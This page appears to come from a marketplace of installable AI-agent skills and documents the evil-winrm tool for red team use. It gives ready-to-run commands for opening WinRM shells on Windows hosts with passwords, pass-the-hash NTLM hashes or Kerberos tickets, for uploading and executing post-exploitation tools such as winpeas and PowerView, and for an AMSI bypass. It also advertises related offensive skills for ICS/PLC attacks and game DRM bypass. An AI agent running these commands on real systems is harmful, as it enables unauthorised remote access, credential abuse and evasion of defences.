offensive-tools/windows/evil-winrm/SKILL.md
Interactive WinRM shell for Windows remote management with support for pass-the-hash, pass-the-ticket, SSL, file upload/download, and PowerShell scripts. Use when asked to get a shell on a Windows host via WinRM, use pass-the-hash over WinRM, upload tools, or run PowerShell remotely.
npx skillsauth add aeondave/malskill evil-winrmInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Interactive WinRM shell — the standard for Windows remote access in red team ops.
# Connect with password
evil-winrm -i 192.168.1.10 -u administrator -p Password123
# Pass-the-hash (NTLM)
evil-winrm -i 192.168.1.10 -u administrator -H aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117
# With SSL (port 5986)
evil-winrm -i 192.168.1.10 -u admin -p Password123 -S
| Flag | Description |
|------|-------------|
| -i <ip> | Target IP/hostname |
| -u <user> | Username |
| -p <pass> | Password |
| -H <hash> | NTLM hash (LM:NT or NT only) |
| -P <port> | WinRM port (default 5985) |
| -S | Use SSL (port 5986) |
| -c <cert> | Client certificate for auth |
| -r <realm> | Kerberos realm |
| -s <path> | Path to PowerShell scripts to load |
| -e <path> | Path to executables (for upload) |
| -l <path> | Log output to file |
| --no-colors | Disable colors |
Once connected, use built-in evil-winrm commands:
| Command | Description |
|---------|-------------|
| upload <local> [remote] | Upload file to target |
| download <remote> [local] | Download file from target |
| menu | Show available functions |
| Invoke-Binary <path> | Execute binary from upload path |
| Bypass-4MSI | AMSI bypass (built-in) |
| services | List running services |
| exit | Close session |
# Basic session
evil-winrm -i 10.10.10.10 -u admin -p "Password123"
# Pass-the-hash after extracting hashes
evil-winrm -i 10.10.10.10 -u administrator -H "8846f7eaee8fb117ad06bdd830b7586c"
# Upload a tool and execute
evil-winrm -i 10.10.10.10 -u admin -p pass -e /opt/tools/
# Inside shell:
# upload /opt/tools/winpeas.exe
# ./winpeas.exe
# Load custom PS scripts
evil-winrm -i 10.10.10.10 -u admin -p pass -s /opt/scripts/
# Inside shell:
# PowerView.ps1
# Get-NetDomain
# Kerberos auth (with valid ticket)
export KRB5CCNAME=/tmp/admin.ccache
evil-winrm -i dc.domain.local -r DOMAIN.LOCAL -u admin
| File | When to load |
|------|--------------|
| references/winrm-setup.md | WinRM configuration, firewall rules, Kerberos auth setup |
data-ai
Scoped routing: Linux operator; hosts, sessions, users, services, packages, logs, containers, SSH, network paths, privilege evidence.
development
Offensive methodology for ICS/OT/SCADA environments in authorized industrial penetration testing and red team operations. Use when assessing PLCs, RTUs, HMIs, engineering workstations, historians, or field devices running Modbus, DNP3, EtherNet/IP, S7comm/S7+, Profinet, IEC 60870-5-104, BACnet, or OPC-UA. Covers passive OT network enumeration, protocol-level device interrogation, PLC coil/register read-write attacks, HMI session exploitation, historian and engineering workstation compromise, and safe escalation rules for critical infrastructure scope. Does not cover: general IT network exploitation (network-technique), physical hardware interfaces UART/JTAG/SPI (hardware-technique), wireless sensor network attacks (wireless-technique), RF/SDR signal analysis (hardware-ctf or wireless-technique), or CTF-framed ICS lab tasks (ics-ctf).
tools
Offensive methodology for authorized game security assessments, game client security research, and game-adjacent penetration testing in real-world engagements. Use when assessing game clients for cheating vulnerabilities, testing anti-cheat effectiveness, auditing game server protocols for score manipulation or economic fraud, reverse engineering game DRM or license validation, analyzing game save file protection, or assessing game mod/plugin security. Covers: process memory scanning and manipulation (Cheat Engine methodology), game binary reversing for license and DRM bypass, game network protocol analysis and packet replay, anti-cheat mechanism analysis, save file format reversing and tampering, speed hack and value injection techniques. Does NOT cover: CTF game challenges (game-ctf), game engine source code auditing (web-exploit-technique or vuln-search-technique for the backend), or general binary exploitation (pwn-ctf or reversing-technique).
development
Auth assessment: hardware/embedded methodology; UART/JTAG/SWD/SPI/I2C, firmware extraction, boot/debug paths, embedded OS evidence.